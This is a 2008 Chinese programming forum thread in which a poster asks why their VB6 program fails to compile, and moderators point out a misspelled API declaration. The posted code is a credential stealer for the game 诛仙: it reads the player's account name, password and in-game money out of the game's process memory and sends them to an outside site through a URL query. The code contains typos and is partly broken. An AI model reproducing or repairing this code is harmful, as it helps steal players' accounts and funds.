| 编程中国 | 业界新闻 | 技术文章 | 视频教程 | 下载频道 | 程序源码 | 个人空间 | 编程论坛
全能ASP/PHP/ASP.NET主机,支持月付专业 MSSQL 数据库空间,支持月付专业 MySQL 数据库空间,支持月付学习型 ASP/PHP/ASP.NET 主机 30元/年
高端软件开发 = 年薪十万不是梦   
共有 258 人关注过本帖
标题:为什么总偏译错误?
收藏  订阅  推荐  打印
qq8555898
Rank: 1
等级:新手上路
帖子:1
积分:110
注册:2008-7-24
为什么总偏译错误?

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindowThreasdProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandie As Long, ByVal dwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const SYNCHRONIZE = &O100000
Const PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF


Private Function jiequ()
Dim ecxi As Long
Dim hwnd As Long ' 储存 FindWindow 函数返回的句柄
Dim pid As Long ' 储存进程句柄(Process Id)
Dim pHandle As Long ' 储存进程句柄

hwnd = FindWindow(vbNullString, "诛仙")

GetWindowThreadProcessId hwnd, pid

pHandie = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

Dim nc     As String, mi As String, qia As String

  nc = Space(255)
  mi = Space(255)
  qia = Space(255)
Dim ncn As Long
Dim ncn2 As Long
Dim ncn3 As Long
Dim mima As Long
Dim qian As Long
Dim qian1 As Long
Dim qian2 As Long
Dim dj As Long
' 在内存地址中读取数据
ReadProcessMemory pHandle, ByVal &H91B650, ByVal VarPtr(ncn), 4, 0

ReadProcessMemory pHandle, ncn + &H124, ByVal VarPtr(ncn2), 4, 0

ReadProcessMemory pHandle, ncn2, ByVal nc, 20, 0 '帐号

ReadProcessMemory pHandle, ncn + —H128, ByVal VarPtr(mima), 4, 0

ReadProcessMemory pHandle, mima, ByVal mi, 20, 0 '密码

ReadProcessMemory pHandle, ByVal —H91B64C, VarPtr(qian), 4, 0

ReadProcessMemory pHandle, ByVal (qian + &H28), ByVal VarPtr(qian), 4, 0

ReadProcessMemory pHandle, ByVal (qian1 + &H2D4), ByVal VarPtr(qian2), 4, 0


Text1.Text = ns
Text2.Text = mi
Text3.Text = qian2


CloseHandle hProcess
Timer1.Enabled = True

End Function


End Sub

Private Sub Form_Load()
jiequ
End Sub

Private Sub Timer1_Timer()
WebBrowser1.Navigate "www.zhuxian668.com/see.asp?msg=" & Text1 & Text2 & Text3
End Sub


老显示
子程序或函数未定义

2008-7-24 09:36
永夜的极光
Rank: 12Rank: 12Rank: 12
等级:版主
帖子:2635
积分:33561
威望:17
注册:2007-10-9

GetWindowThreasdProcessId

声明的时候多了个s

从BFS(Breadth First Study)到DFS(Depth First Study)
学习VIM中,欢迎访问我的blog  http://hi.baidu.com/newkedison
严重鄙视一切把论坛当成作业生成器和人肉搜索引擎的人
2008-7-24 09:44
multiple1902
Rank: 12Rank: 12Rank: 12
等级:版主
帖子:4472
积分:45604
威望:40
注册:2007-2-9

为什么我这里显示的是“GetWindowThreadProcessId hwnd, pid” 这行出错?
这样就很明显是谁没定义了

“高考”这个词在耳边不断萦绕,心中的激动不言而喻。写下一句话,一起努力。Let's struggle together.
2008-7-24 11:06
共有 257 人关注过本帖
关于我们 | 广告合作 | 编程中国 | 清除Cookies | Archiver | WAP | TOP

编程中国 版权所有,并保留所有权利。鲁ICP备08000592号
Powered by Discuz, Processed in 0.047546 second(s), 9 queries.
Copyright©2004-2008, BCCN.NET, All Rights Reserved